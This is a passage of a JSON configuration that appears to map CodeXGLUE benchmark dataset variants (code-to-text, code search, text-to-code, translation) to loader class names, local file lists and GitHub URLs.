\"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Text/code-to-text\"\n },\n \"ct_code_to_text_php\": {\n \"class_name\": \"CodeXGlueCTCodeToText\",\n \"data_dir_name\": \".\",\n \"dataset_type\": \"Code-Text\",\n \"description\": \"CodeXGLUE code-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"dir_name\": \"code-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/README.md\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/evaluator.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/reference.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/predictions.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_dedupe_definitions_v2.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_licenses.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/test/python_test_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/valid/python_valid_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_7.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_10.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_1.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_9.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_4.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_8.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_3.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_13.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_6.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_12.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_11.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_2.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_5.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/bleu.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/model.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/run.py\"\n ],\n \"name\": \"ct_code_to_text\",\n \"parameters\": {\n \"language\": \"php\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Text/code-to-text\"\n },\n \"ct_code_to_text_python\": {\n \"class_name\": \"CodeXGlueCTCodeToText\",\n \"data_dir_name\": \".\",\n \"dataset_type\": \"Code-Text\",\n \"description\": \"CodeXGLUE code-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"dir_name\": \"code-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/README.md\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/evaluator.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/reference.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/predictions.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_dedupe_definitions_v2.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_licenses.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/test/python_test_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/valid/python_valid_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_7.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_10.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_1.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_9.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_4.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_8.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_3.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_13.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_6.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_12.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_11.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_2.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_5.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/bleu.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/model.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/run.py\"\n ],\n \"name\": \"ct_code_to_text\",\n \"parameters\": {\n \"language\": \"python\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Text/code-to-text\"\n },\n \"ct_code_to_text_ruby\": {\n \"class_name\": \"CodeXGlueCTCodeToText\",\n \"data_dir_name\": \".\",\n \"dataset_type\": \"Code-Text\",\n \"description\": \"CodeXGLUE code-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"dir_name\": \"code-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/README.md\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/evaluator.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/reference.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/predictions.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_dedupe_definitions_v2.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_licenses.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/test/python_test_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/valid/python_valid_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_7.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_10.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_1.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_9.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_4.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_8.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_3.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_13.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_6.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_12.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_11.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_2.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_5.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/bleu.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/model.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/run.py\"\n ],\n \"name\": \"ct_code_to_text\",\n \"parameters\": {\n \"language\": \"ruby\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Text/code-to-text\"\n },\n \"tc_nl_code_search_adv\": {\n \"class_name\": \"CodeXGlueTCNLCodeSearchAdv\",\n \"data_dir_name\": \".\",\n \"dataset_type\": \"Text-Code\",\n \"description\": \"CodeXGLUE NL-code-search-Adv dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Text-Code/NL-code-search-Adv\",\n \"dir_name\": \"NL-code-search-Adv\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-Adv/README.md\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-Adv/dataset.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-Adv/evaluator/test.jsonl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-Adv/evaluator/evaluator.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-Adv/evaluator/predictions.jsonl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-Adv/code/model.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-Adv/code/run.py\"\n ],\n \"name\": \"tc_nl_code_search_adv\",\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Text-Code/NL-code-search-Adv\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Text-Code/NL-code-search-Adv\"\n },\n \"tc_nl_code_search_web_query\": {\n \"class_name\": \"CodeXGlueTCNLCodeSearchWebQuery\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Text-Code\",\n \"description\": \"CodeXGLUE NL-code-search-WebQuery dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Text-Code/NL-code-search-WebQuery\",\n \"dir_name\": \"NL-code-search-WebQuery\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-WebQuery/data/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-WebQuery/data/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-WebQuery/data/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/NL-code-search-WebQuery/data/test_webquery.json\"\n ],\n \"name\": \"tc_nl_code_search_web_query\",\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Text-Code/NL-code-search-WebQuery\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Text-Code/NL-code-search-WebQuery/data\"\n },\n \"tc_text_to_code\": {\n \"class_name\": \"CodeXGlueTCTextToCode\",\n \"data_dir_name\": \"dataset\",\n \"dataset_type\": \"Text-Code\",\n \"description\": \"CodeXGLUE text-to-code dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Text-Code/text-to-code\",\n \"dir_name\": \"text-to-code\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/text-to-code/dataset/concode/train.json\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/text-to-code/dataset/concode/test.json\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Code/text-to-code/dataset/concode/dev.json\"\n ],\n \"name\": \"tc_text_to_code\",\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Text-Code/text-to-code\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Text-Code/text-to-code/dataset\"\n },\n \"tt_text_to_text_da_en\": {\n \"class_name\": \"CodeXGlueTTTextToText\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Text-Text\",\n \"description\": \"CodeXGLUE text-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"dir_name\": \"text-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/preprocessing.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.en\"\n ],\n \"name\": \"tt_text_to_text\",\n \"parameters\": {\n \"natural_language_pair\": \"da-en\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Text-Text/text-to-text/data\"\n },\n \"tt_text_to_text_lv_en\": {\n \"class_name\": \"CodeXGlueTTTextToText\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Text-Text\",\n \"description\": \"CodeXGLUE text-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"dir_name\": \"text-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/preprocessing.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.en\",\n 